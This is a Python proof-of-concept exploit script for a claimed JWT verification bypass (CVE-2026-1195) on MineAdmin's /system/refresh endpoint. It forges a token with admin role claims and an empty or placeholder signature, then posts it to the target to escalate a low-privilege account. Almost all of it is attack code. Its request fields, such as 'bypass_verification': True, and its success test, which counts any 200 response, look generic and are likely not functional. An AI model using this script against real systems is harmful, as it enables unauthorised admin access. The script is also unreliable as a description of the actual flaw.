# CVE-2026-1195 PoC - MineAdmin JWT Token验证绕过
# Target: MineAdmin 1.x/2.x
# Endpoint: /system/refresh
# Attack Type: Insufficient JWT Token Verification
import requests
import json
import base64
import hmac
import hashlib
from datetime import datetime, timedelta
TARGET_URL = "http://target.com" # 目标系统地址
USERNAME = "low_priv_user" # 低权限用户名
PASSWORD = "password123" # 用户密码
def create_malicious_jwt(payload, secret=""):
"""Create a potentially malicious JWT token with manipulated claims"""
header = {
"alg": "HS256",
"typ": "JWT"
}
# Manipulate payload with elevated privileges
manipulated_payload = {
"sub": payload.get("sub", USERNAME),
"exp": int((datetime.utcnow() + timedelta(hours=24)).timestamp()),
"iat": int(datetime.utcnow().timestamp()),
"user_id": payload.get("user_id", 1),
"role": payload.get("role", "admin"), # Attempt privilege escalation
"is_admin": 1 # Try to set admin flag
}
header_encoded = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_encoded = base64.urlsafe_b64encode(json.dumps(manipulated_payload).encode()).decode().rstrip('=')
if secret:
signature = hmac.new(secret.encode(), f"{header_encoded}.{payload_encoded}".encode(), hashlib.sha256).digest()
signature_encoded = base64.urlsafe_b64encode(signature).decode().rstrip('=')
else:
signature_encoded = "malicious_signature"
return f"{header_encoded}.{payload_encoded}.{signature_encoded}"
def exploit_cve_2026_1195():
"""Main exploitation function for CVE-2026-1195"""
# Step 1: Normal login to obtain initial token
login_url = f"{TARGET_URL}/api/login"
login_data = {
"username": USERNAME,
"password": PASSWORD
}
try:
login_response = requests.post(login_url, json=login_data, timeout=10)
if login_response.status_code == 200:
token_data = login_response.json()
original_token = token_data.get("data", {}).get("token", "")
print(f"[+] Obtained original token: {original_token[:50]}...")
except Exception as e:
print(f"[-] Login failed: {e}")
return False
# Step 2: Craft malicious JWT with insufficient verification bypass
try:
payload = {"sub": USERNAME, "role": "user", "user_id": 1}
malicious_token = create_malicious_jwt(payload)
print(f"[+] Generated malicious JWT token")
except Exception as e:
print(f"[-] Token crafting failed: {e}")
return False
# Step 3: Exploit the /system/refresh endpoint
refresh_url = f"{TARGET_URL}/system/refresh"
headers = {
"Authorization": f"Bearer {malicious_token}",
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest"
}
# Malicious payload to exploit insufficient verification
exploit_data = {
"action": "refresh",
"token": malicious_token,
"bypass_verification": True,
"payload": "malicious_data_injection"
}
try:
exploit_response = requests.post(refresh_url, json=exploit_data, headers=headers, timeout=10)
print(f"[*] Exploit request sent. Status: {exploit_response.status_code}")
print(f"[*] Response: {exploit_response.text[:200]}")
if exploit_response.status_code == 200:
print("[+] Potential vulnerability confirmed - insufficient verification bypassed")
return True
except Exception as e:
print(f"[-] Exploit failed: {e}")
return False
return False
if __name__ == "__main__":
print("=" * 60)
print("CVE-2026-1195 PoC - MineAdmin JWT Verification Bypass")
print("=" * 60)
exploit_cve_2026_1195()